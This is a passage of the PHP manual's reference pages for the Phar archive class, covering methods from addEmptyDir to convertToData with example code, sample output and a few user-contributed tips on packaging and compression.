  • Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression
  • Phar::compressFiles — Compresses all files in the current Phar archive
  • Phar::__construct — Construct a Phar archive object
  • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
  • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
  • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
  • Phar::count — Returns the number of entries (files) in the Phar archive
  • Phar::createDefaultStub — Create a phar-file format specific stub
  • Phar::decompress — Decompresses the entire Phar archive
  • Phar::decompressFiles — Decompresses all files in the current Phar archive
  • Phar::delMetadata — Deletes the global metadata of the phar
  • Phar::delete — Delete a file within a phar archive
  • Phar::extractTo — Extract the contents of a phar archive to a directory
  • Phar::getMetadata — Returns phar archive meta-data
  • Phar::getModified — Return whether phar was modified
  • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
  • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
  • Phar::getSupportedCompression — Return array of supported compression algorithms
  • Phar::getSupportedSignatures — Return array of supported signature types
  • Phar::getVersion — Return version info of Phar archive
  • Phar::hasMetadata — Returns whether phar has global meta-data
  • Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
  • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
  • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
  • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
  • Phar::isWritable — Returns true if the phar archive can be modified
  • Phar::loadPhar — Loads any phar archive with an alias
  • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
  • Phar::mount — Mount an external path or file to a virtual location within the phar archive
  • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
  • Phar::offsetExists — determines whether a file exists in the phar
  • Phar::offsetGet — Gets a PharFileInfo object for a specific file
  • Phar::offsetSet — set the contents of an internal file to those of an external file
  • Phar::offsetUnset — remove a file from a phar
  • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
  • Phar::setAlias — Set the alias for the Phar archive
  • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
  • Phar::setMetadata — Sets phar archive meta-data
  • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.
  • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
  • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
  • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
  • Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive
  • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
  • Phar::webPhar — mapPhar for web-based phars. front controller for web applications

User Contributed Notes

cornelius dot howl at gmail dot com 19-Dec-2011 12:49
Onion utility can help you compile a package into a phar file (executable script file or library file)

https://github.com/c9s/Onion

   $ onion.phar compile \
    --executable \
    --classloader \
    --bootstrap scripts/onion.embed \
    --lib src \
    --lib ../CLIFramework/src \
    --lib ../GetOptionKit/src \
    --output onion.phar
halfdan 17-May-2008 01:18
Hey, I thought writing a small article about the upcoming functionality and appearance of Phar in php5.3 might be a nice thing. So I did this at http://geekmonkey.org/articles/PHP_Archives - hope to save others some time when working with Phar.
Phar Signature format
Phar::addEmptyDir
Phar


Add an empty directory to the phar archive

Phar
Phar::addFile
Phar
PHP Manual

Phar::addEmptyDir

(Unknown)

Phar::addEmptyDir — Add an empty directory to the phar archive

Description

void Phar::addEmptyDir ( string $dirname )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, an empty directory is created with path dirname. This method is similar to ZipArchive::addEmptyDir().

Parameters

dirname

The name of the empty directory to create in the phar archive

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addEmptyDir() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addEmptyDir('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • PharData::addEmptyDir() - Add an empty directory to the tar/zip archive
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • Phar::addFromString() - Add a file from the filesystem to the phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar
Phar::addFile
Phar


Add a file from the filesystem to the phar archive

Phar::addEmptyDir
Phar::addFromString
Phar
PHP Manual

Phar::addFile

(Unknown)

Phar::addFile — Add a file from the filesystem to the phar archive

Description

void Phar::addFile ( string $file [, string $localname ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, any file or URL can be added to the phar archive. If the optional second parameter localname is specified, the file will be stored in the archive with that name, otherwise the file parameter is used as the path to store within the archive. URLs must have a localname or an exception is thrown. This method is similar to ZipArchive::addFile().

Parameters

file

Full or relative path to a file on disk to be added to the phar archive.

localname

Path that the file will be stored in the archive.

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addFile() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFile('/full/path/to/file');
    // demonstrates how this file is stored
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // demonstrate URL usage
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • PharData::addFile() - Add a file from the filesystem to the tar/zip archive
  • Phar::addFromString() - Add a file from the filesystem to the phar archive
  • Phar::addEmptyDir() - Add an empty directory to the phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::addEmptyDir
Phar::addFromString
Phar


Add a file from the filesystem to the phar archive

Phar::addFile
Phar::apiVersion
Phar
PHP Manual

Phar::addFromString

(Unknown)

Phar::addFromString — Add a file from the filesystem to the phar archive

Description

void Phar::addFromString ( string $localname , string $contents )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

With this method, any string can be added to the phar archive. The file will be stored in the archive with localname as its path. This method is similar to ZipArchive::addFromString().

Parameters

localname

Path that the file will be stored in the archive.

contents

The file contents to store

Return Values

no return value, exception is thrown on failure.

Examples

Example #1 A Phar::addFromString() example

<?php
try {
    $a = new Phar('/path/to/phar.phar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // to add contents from a stream handle for large files, use offsetSet()
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
    fclose($c);
} catch (Exception $e) {
    // handle errors here
}
?>

See Also

  • Phar::offsetSet() - set the contents of an internal file to those of an external file
  • PharData::addFromString() - Add a file from the filesystem to the tar/zip archive
  • Phar::addFile() - Add a file from the filesystem to the phar archive
  • Phar::addEmptyDir() - Add an empty directory to the phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::addFile
Phar::apiVersion
Phar


Returns the api version

Phar::addFromString
Phar::buildFromDirectory
Phar
PHP Manual

Phar::apiVersion

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::apiVersion — Returns the api version

Description

string Phar::apiVersion ( void )

Return the API version of the phar file format that will be used when creating phars. The Phar extension supports reading API version 1.0.0 or newer. API version 1.1.0 is required for SHA-256 and SHA-512 hash, and API version 1.1.1 is required to store empty directories.

Parameters

Return Values

The API version string as in "1.0.0".

Examples

Example #1 A Phar::apiVersion() example

<?php
echo Phar::apiVersion();
?>

The above example will output:

1.1.1

User Contributed Notes

There are no user contributed notes for this page.
Phar::addFromString
Phar::buildFromDirectory
Phar


Construct a phar archive from the files within a directory.

Phar::apiVersion
Phar::buildFromIterator
Phar
PHP Manual

Phar::buildFromDirectory

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::buildFromDirectory — Construct a phar archive from the files within a directory.

Description

array Phar::buildFromDirectory ( string $base_dir [, string $regex ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Populate a phar archive from directory contents. The optional second parameter is a regular expression (pcre) that is used to exclude files. Any filename that matches the regular expression will be included, all others will be excluded. For more fine-grained control, use Phar::buildFromIterator().

Parameters

base_dir

The full or relative path to the directory that contains all files to add to the archive.

regex

An optional pcre regular expression that is used to filter the list of files. Only file paths matching the regular expression will be included in the archive.

Return Values

Phar::buildFromDirectory() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Errors/Exceptions

This method throws BadMethodCallException when unable to instantiate the internal directory iterators, or a PharException if there were errors saving the phar archive.

Examples

Example #1 A Phar::buildFromDirectory() example

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
// add all files in the project
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));

$phar2 = new Phar('project2.phar', 0, 'project2.phar');
// add all files in the project, only include php files
$phar2->buildFromDirectory(dirname(__FILE__) . '/project', '/\.php$/');
$phar2->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

See Also

  • Phar::buildFromIterator() - Construct a phar archive from an iterator.

User Contributed Notes

There are no user contributed notes for this page.
Phar::apiVersion
Phar::buildFromIterator
Phar


Construct a phar archive from an iterator.

Phar::buildFromDirectory
Phar::canCompress
Phar
PHP Manual

Phar::buildFromIterator

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::buildFromIterator — Construct a phar archive from an iterator.

Description

array Phar::buildFromIterator ( Iterator $iter [, string $base_directory ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

Populate a phar archive from an iterator. Two styles of iterators are supported, iterators that map the filename within the phar to the name of a file on disk, and iterators like DirectoryIterator that return SplFileInfo objects. For iterators that return SplFileInfo objects, the second parameter is required.

Parameters

iter

Any iterator that either associatively maps phar file to location or returns SplFileInfo objects

base_directory

For iterators that return SplFileInfo objects, the portion of each file's full path to remove when adding to the phar archive

Return Values

Phar::buildFromIterator() returns an associative array mapping internal path of file to the full path of the file on the filesystem.

Examples

Example #1 A Phar::buildFromIterator() with SplFileInfo

For most phar archives, the archive will reflect an actual directory layout, and the second style is the most useful. For instance, to create a phar archive containing the files in this sample directory layout:

/path/to/project/
                 config/
                        dist.xml
                        debug.xml
                 lib/
                     file1.php
                     file2.php
                 src/
                     processthing.php
                 www/
                     index.php
                 cli/
                     index.php

This code could be used to add these files to the "project.phar" phar archive:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new RecursiveDirectoryIterator('/path/to/project')),
    '/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

The file project.phar can then be used immediately. Phar::buildFromIterator() does not set values such as compression, metadata, and this can be done after creating the phar archive.

As an interesting note, Phar::buildFromIterator() can also be used to copy the contents of an existing phar archive, as the Phar object descends from DirectoryIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new RecursiveIteratorIterator(
     new Phar('/path/to/anotherphar.phar')),
    'phar:///path/to/anotherphar.phar/path/to/project');
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Example #2 A Phar::buildFromIterator() with other iterators

The second form of the iterator can be used with any iterator that returns a key => value mapping, such as an ArrayIterator:

<?php
// create with alias "project.phar"
$phar = new Phar('project.phar', 0, 'project.phar');
$phar->buildFromIterator(
    new ArrayIterator(
     array(
        'internal/file.php' => dirname(__FILE__) . '/somefile.php',
        'another/file.jpg' => fopen('/path/to/bigfile.jpg', 'rb'),
     )));
$phar->setStub($phar->createDefaultStub('cli/index.php', 'www/index.php'));
?>

Errors/Exceptions

This method returns UnexpectedValueException when the iterator returns incorrect values, such as an integer key instead of a string, a BadMethodCallException when an SplFileInfo-based iterator is passed without a base_directory parameter, or a PharException if there were errors saving the phar archive.

See Also

  • Phar::buildFromDirectory() - Construct a phar archive from the files within a directory.

User Contributed Notes

There are no user contributed notes for this page.
Phar::buildFromDirectory
Phar::canCompress
Phar


Returns whether phar extension supports compression using either zlib or bzip2

Phar::buildFromIterator
Phar::canWrite
Phar
PHP Manual

Phar::canCompress

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2

Description

bool Phar::canCompress ([ int $type = 0 ] )

This should be used to test whether compression is possible prior to loading a phar archive containing compressed files.

Parameters

type

Either Phar::GZ or Phar::BZ2 can be used to test whether compression is possible with a specific compression algorithm (zlib or bzip2).

Return Values

TRUE if compression/decompression is available, FALSE if not.

Examples

Example #1 A Phar::canCompress() example

<?php
if (Phar::canCompress()) {
    echo file_get_contents('phar://compressedphar.phar/internal/file.txt');
} else {
    echo 'no compression available';
}
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::convertToExecutable() - Convert a phar archive to another executable phar archive file format
  • Phar::convertToData() - Convert a phar archive to a non-executable tar or zip file

User Contributed Notes

There are no user contributed notes for this page.
Phar::buildFromIterator
Phar::canWrite
Phar


Returns whether phar extension supports writing and creating phars

Phar::canCompress
Phar::compress
Phar
PHP Manual

Phar::canWrite

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::canWrite — Returns whether phar extension supports writing and creating phars

Description

bool Phar::canWrite ( void )

This static method determines whether write access has been disabled in the system php.ini via the phar.readonly ini variable.

Parameters

Return Values

TRUE if write access is enabled, FALSE if it is disabled.

Examples

Example #1 A Phar::canWrite() example

<?php
if (Phar::canWrite()) {
    file_put_contents('phar://myphar.phar/file.txt', 'hi there');
}
?>

See Also

  • phar.readonly
  • Phar::isWritable() - Returns true if the phar archive can be modified

User Contributed Notes

There are no user contributed notes for this page.
Phar::canCompress
Phar::compress
Phar


Compresses the entire Phar archive using Gzip or Bzip2 compression

Phar::canWrite
Phar::compressAllFilesBZIP2
Phar
PHP Manual

Phar::compress

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression

Description

object Phar::compress ( int $compression [, string $extension ] )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based and phar-based phar archives, this method compresses the entire archive using gzip compression or bzip2 compression. The resulting file can be processed with the gunzip command/bunzip command, or accessed directly and transparently with the Phar extension.

For Zip-based phar archives, this method fails with an exception. The zlib extension must be enabled to compress with gzip compression, the bzip2 extension must be enabled in order to compress with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

In addition, this method automatically renames the archive, appending .gz, .bz2 or removing the extension if passed Phar::NONE to remove compression. Alternatively, a file extension may be specified with the second parameter.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

extension

By default, the extension is .phar.gz or .phar.bz2 for compressing phar archives, and .phar.tar.gz or .phar.tar.bz2 for compressing tar archives. For decompressing, the default file extensions are .phar and .phar.tar.

Return Values

Returns a Phar object.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compress() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p1 = $p->compress(Phar::GZ); // copies to /path/to/my.phar.gz
$p2 = $p->compress(Phar::BZ2); // copies to /path/to/my.phar.bz2
$p3 = $p2->compress(Phar::NONE); // exception: /path/to/my.phar already exists
?>

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • PharData::compress() - Compresses the entire tar/zip archive using Gzip or Bzip2 compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompress() - Decompresses the entire Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compressFiles() - Compresses all files in the current Phar archive
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive

User Contributed Notes

mike at eyesis dot ca 21-Feb-2011 11:50
For those who want the benefit of having a small compressed PHAR archive but don’t want to suffer the performance loss, use php_strip_whitespace when adding files to the archive. If your code has plenty of whitespace, docbocks, and single-line comments this function can greatly decrease archive size without the performance loss.

<?php
$sDir = 'application';
$oPhar = new Phar ('app.phar');

$oDir = new RecursiveIteratorIterator (new RecursiveDirectoryIterator ($sDir), RecursiveIteratorIterator::SELF_FIRST);

foreach ($oDir as $sFile) {
    if ( preg_match ('/\\.php$/i', $sFile) ) {
        $oPhar->addFromString (substr ($sFile, strlen ($sDir) + 1), php_strip_whitespace ($sFile));
    }
}
?>
Phar::canWrite
Phar::compressAllFilesBZIP2
Phar


Compresses all files in the current Phar archive using Bzip2 compression

Phar::compress
Phar::compressAllFilesGZ
Phar
PHP Manual

Phar::compressAllFilesBZIP2

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression

Description

bool Phar::compressAllFilesBZIP2 ( void )

Note:

This
method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

This method compresses all files in the Phar archive using bzip2 compression. The bzip2 extension must be enabled to take advantage of this feature. In addition, if any files are already compressed using gzip compression, the zlib extension must be enabled in order to decompress the files prior to re-compressing with bzip2 compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the bzip2 extension is not available, or if any files are compressed using gzip compression and the zlib extension is not enabled.

Examples

Example #1 A Phar::compressAllFilesBZIP2() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
$p->compressAllFilesBZIP2();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
bool(true)
bool(true)
bool(false)
string(11) "myfile2.txt"
bool(true)
bool(true)
bool(false)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesGZ() - Compresses all files in the current Phar archive using Gzip compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::compress
Phar::compressAllFilesGZ
Phar


Compresses all files in the current Phar archive using Gzip compression

Phar::compressAllFilesBZIP2
Phar::compressFiles
Phar
PHP Manual

Phar::compressAllFilesGZ

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression

Description

bool Phar::compressAllFilesGZ ( void )

Note:

This
method has been removed from the phar extension as of version 2.0.0.  Alternative
implementations are available using Phar::compress(),
Phar::decompress(), Phar::compressFiles() and
Phar::decompressFiles().

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method compresses the entire archive using gzip compression. The resulting file can be processed with the gunzip command, or accessed directly and transparently with the Phar extension.

For Zip-based and phar-based phar archives, this method compresses all files in the Phar archive using gzip compression. The zlib extension must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2 compression, the bzip2 extension must be enabled in order to decompress the files prior to re-compressing with gzip compression. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Return Values

Returns TRUE on success or FALSE on failure.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compressAllFilesGZ() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
$p->compressAllFilesGZ();
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressedBZIP2());
    var_dump($file->isCompressedGZ());
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
bool(true)
bool(false)
bool(true)
string(11) "myfile2.txt"
bool(true)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressedBZIP2() - Returns whether the entry is compressed using bzip2
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::isCompressedGZ() - Returns whether the entry is compressed using gz
  • PharFileInfo::setCompressedBZIP2() - Compresses the current Phar entry within the phar using Bzip2 compression
  • PharFileInfo::setUncompressed() - Uncompresses the current Phar entry within the phar, if it is compressed
  • PharFileInfo::setCompressedGZ() - Compresses the current Phar entry within the phar using gz compression
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::compressAllFilesBZIP2() - Compresses all files in the current Phar archive using Bzip2 compression
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::uncompressAllFiles() - Uncompresses all files in the current Phar archive

User Contributed Notes

There are no user contributed notes for this page.
Phar::compressAllFilesBZIP2
Phar::compressFiles
Phar


Compresses all files in the current Phar archive

Phar::compressAllFilesGZ
Phar::__construct
Phar
PHP Manual

Phar::compressFiles

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::compressFiles — Compresses all files in the current Phar archive

Description

void Phar::compressFiles ( int $compression )

Note:

This method requires the php.ini setting phar.readonly to be set to 0 in order to work for Phar objects. Otherwise, a PharException will be thrown.

For tar-based phar archives, this method throws a BadMethodCallException, as compression of individual files within a tar archive is not supported by the file format. Use Phar::compress() to compress an entire tar-based phar archive.

For Zip-based and phar-based phar archives, this method compresses all files in the Phar archive using the specified compression. The zlib or bzip2 extensions must be enabled to take advantage of this feature. In addition, if any files are already compressed using bzip2/zlib compression, the respective extension must be enabled in order to decompress the files prior to re-compressing. As with all functionality that modifies the contents of a phar, the phar.readonly INI variable must be off in order to succeed.

Parameters

compression

Compression must be one of Phar::GZ, Phar::BZ2 to add compression, or Phar::NONE to remove compression.

Return Values

No value is returned.

Errors/Exceptions

Throws BadMethodCallException if the phar.readonly INI variable is on, the zlib extension is not available, or if any files are compressed using bzip2 compression and the bzip2 extension is not enabled.

Examples

Example #1 A Phar::compressFiles() example

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
$p->compressFiles(Phar::GZ);
foreach ($p as $file) {
    var_dump($file->getFileName());
    var_dump($file->isCompressed());
    var_dump($file->isCompressed(Phar::BZ2));
    var_dump($file->isCompressed(Phar::GZ));
}
?>

The above example will output:

string(10) "myfile.txt"
bool(false)
bool(false)
bool(false)
string(11) "myfile2.txt"
bool(false)
bool(false)
bool(false)
string(10) "myfile.txt"
int(4096)
bool(false)
bool(true)
string(11) "myfile2.txt"
int(4096)
bool(false)
bool(true)

See Also

  • PharFileInfo::getCompressedSize() - Returns the actual size of the file (with compression) inside the Phar archive
  • PharFileInfo::isCompressed() - Returns whether the entry is compressed
  • PharFileInfo::compress() - Compresses the current Phar entry with either zlib or bzip2 compression
  • PharFileInfo::decompress() - Decompresses the current Phar entry within the phar
  • Phar::canCompress() - Returns whether phar extension supports compression using either zlib or bzip2
  • Phar::isCompressed() - Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
  • Phar::decompressFiles() - Decompresses all files in the current Phar archive
  • Phar::getSupportedCompression() - Return array of supported compression algorithms
  • Phar::compress() - Compresses the entire Phar archive using Gzip or Bzip2 compression
  • Phar::decompress() - Decompresses the entire Phar archive

User Contributed Notes

alex at phpguide dot co dot il 30-Apr-2011 01:55
Compressing the entire archive
$phar->compress();
overrides your stub file.

Use compressFiles to have the the files compressed keeping your own stub in tact (which is not being compressed).
The compression is a little bit worth (since one file is left uncompressed), but enables you to have your own stub file executed with browser requests.

Don't get confused, compressing doesn't rise the security level of your code or obfuscating it strongly enough. The source code of your compressed phar is still easy to read.
Phar::compressAllFilesGZ
Phar::__construct
Phar


Construct a Phar archive object

Phar::compressFiles
Phar::convertToData
Phar
PHP Manual

Phar::__construct

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Phar::__construct — Construct a Phar archive object

Description

Phar::__construct ( string $fname [, int $flags [, string $alias ]] )

Parameters

fname

Path to an existing Phar archive or to-be-created archive

flags

Flags to pass to parent class RecursiveDirectoryIterator.

alias

Alias with which this Phar archive should be referred to in calls to stream functionality.

Errors/Exceptions

Throws BadMethodCallException if called twice, UnexpectedValueException if the phar archive can't be opened.

Examples

Example #1 A Phar::__construct() example

<?php
try {
    $p = new Phar('/path/to/my.phar', CURRENT_AS_FILEINFO | KEY_AS_FILENAME,
                  'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
// this works now
echo file_get_contents('phar://my.phar/example.txt');
// and works as if we had typed
echo file_get_contents('phar:///path/to/my.phar/example.txt');
?>

User Contributed Notes

myselfasunder at findmenow dot gmail dot com 12-Jul-2010 01:18
Zip support seems to be shaky, in that just attempting to open a Zip file (created by 7-Zip) with both the 'zlib' and 'zip' extensions enabled renders the following error:

Error: Cannot convert phar archive "C:/Development/webdir/public_html/TestPhar.zip", unable to open entry "TestPhar/" contents: phar error: internal corruption of zip-based phar "C:/Development/webdir/public_html/TestPhar.zip" (local header of file "TestPhar/" does not match central directory)

Stick to GZ's and BZ2's (but don't forget to enable the BZ2 extension if necessary).

Phar can ONLY open executable Phar's and PharData can ONLY open non-executable Phar's. Both have the ability to convert between the two formats.

However, you can reference a file within a Phar regardless of whether it's executable using the Phar stream wrapper (file_get_contents('phar://<Phar file>/subdirectory/subdirectory/somefile.txt')).

Dustin Oprea
Christian 13-Apr-2010 06:39
It's not possible to create a new archive when safe_mode is enabled! You simply return a 'Phar creation or opening failed' error.
This applies to Phar and PharData in PHP 5.3.2.
Phar::compressFiles
Phar::convertToData
Phar


Convert a phar archive to a non-executable tar or zip file

Phar::__construct
Phar::convertToExecutable
Phar
PHP Manual

Phar::convertToData

(PHP >= 5.3.0, PECL phar >= 2.0.0)

Phar::convertToData — Convert a phar archive to a non-executable tar or zip file

Description

PharData Phar::convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )

This method is used to convert an executable phar archive to either a tar or zip file. To make the tar or zip non-executable, the phar stub and phar alias files are removed from the newly created archive.

If no changes are specified, this method throws a BadMethodCallException if the archive is in phar file format. For archives in tar or zip file format, this method converts the archive to a non-executable archive.

